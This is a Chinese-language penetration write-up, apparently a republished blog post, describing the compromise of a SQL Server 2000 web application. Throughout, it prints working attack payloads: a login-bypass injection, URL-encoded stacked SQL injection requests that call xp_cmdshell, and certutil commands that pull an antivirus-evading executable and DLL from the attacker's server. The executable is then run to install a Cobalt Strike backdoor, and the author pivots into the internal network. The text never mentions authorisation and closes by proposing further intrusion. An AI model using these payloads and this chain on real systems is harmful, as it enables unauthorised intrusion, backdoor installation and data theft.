记一次SQLSERVER渗透
拿到一批资产,通过xray扫描出一个注入点。
前端做了过滤
burp抓包构造admin',发现返回。大概率是存在注入的。
width=100>异常信息:</td><td>第 1 行: ' and pw=' 附近有语法错误。
字符串 '' 之前有未闭合的引号。</td></tr></table>
在username构造admin' or '1'='1 密码直接登录成功
在后台找到了一个上传点,上传成功了,但是没有路径。
下载方式通过readfile?id=xxx的形式,估计路径是写在数据库里面。
数据库内容比较多,找了一圈没发现可用的路径。
因为登录注入会有大量操作日志,所以我们更换了一个注入点editfirst.aspx?lb=ji%27 union select %27123%27 --&id=78,发现回显位置。
select @@version,发现是server2000版本的。
确认注入点后,直接尝试XPCMDSHELL(2000默认开启的xpcmdshell)
直接使用cmd for去查询路径,因为回显的问题,所以要把查询结果写入表内。
新建一个cmdecho表
editfirst.aspx?lb=ji%27;CREATE%20TABLE%20cmdecho(dir%20varchar(8000))%20--&id=2383
把内容写入表内
editfirst.aspx?lb=ji%27;insert%20into%20cmdecho(dir)%20exec%20master..xp_cmdshell%20%27for%20/r%20d:\%20%i%20in%20(*shell*.aspx)%20do%20@echo%20%i%27%20--&id=2383
select * from cmdecho 查询结果,发现为空,说明不存在这个文件。
发现系统上并没有我上传的shell,很有可能是站库分离的,为了确 认这个,我们写入一个TXT到含有aspx文件的目录下
editfirst.aspx?lb=ji%27;insert%20into%20cmdecho2(dir)%20exec%20master..xp_cmdshell%20%27echo abcdefgaaaaa d:\xxxxxx\test.txt%27%20--&id=2383
尝试访问test.txt,失败。
这里思考了一下,很可能是站库分离,所以找到不到路径。
用两条命令验证一下
select @@servername;
select host_name();
发现结果不一致,说明是站库分离
那直接想办法上CS后门。
使用systeminfo查看系统信息,server2003
tasklist查看进程,发现有360tray.exe、dep360.exe 。发现有360存在,找大佬做了一个白+黑的免杀。
上传到服务器,开启8000端口提供下载
python -m SimpleHTTPServer 8000
使用certutil证书下载,并且通过COPY修改文件名
因为是server2003的系统 , certutil下载后,会在目录下生成Blob0_0.bin文件。
xpcmdshell的默认路径是在C:\Windows\System32\
editfirst.aspx?lb=ji%27;insert%20into%20cmdecho2(dir)%20exec%20master..xp_cmdshell%20%27certutil.exe%20-urlcache%20-split%20-f%20http://xx.xx.xx.xx:8000/360se.exe%27%20--&id=78
把缓存文件内容copy成exe形式
editfirst.aspx?lb=ji%27;exec%20master..xp_cmdshell%20%27copy Blob0_0.bin 360se.exe%27%20--&id=78
把缓存文件内容copy成dll形式
editfirst.aspx?lb=ji%27;insert%20into%20cmdecho2(dir)%20exec%20master..xp_cmdshell%20%27certutil.exe%20-urlcache%20-split%20-f%20http://xx.xx.xx.xx:8000/chel.dll%27%20--&id=78
后执行exe,成功CS上线
editfirst.aspx?lb=ji%27;insert%20into%20cmdecho2(dir)%20exec%20master..xp_cmdshell%20%27C:\Windows\System32\360se.exe%27%20--&id=78
后续通过CS代理到内网访问其中的几个IP,发现确实是站库分离的。
因为时间问题就没深入去弄了,这里用SQLMAP跑不出上传路径,在项目备份文件里面翻到了备份的代码(里面有上传文件和下载文件的代码,还有数据库配置文件normalFunNS)。不过这些都没能够用上。
虽然是站库分离的状态,里面涉及的数据和系统比较多,可以从里面翻到一些有趣的东西。或者直接上远控去数据库里面翻一翻找到shell的路径,主站就可以拿下了。
本文来源https://www.modb.pro/db/122229
相关文章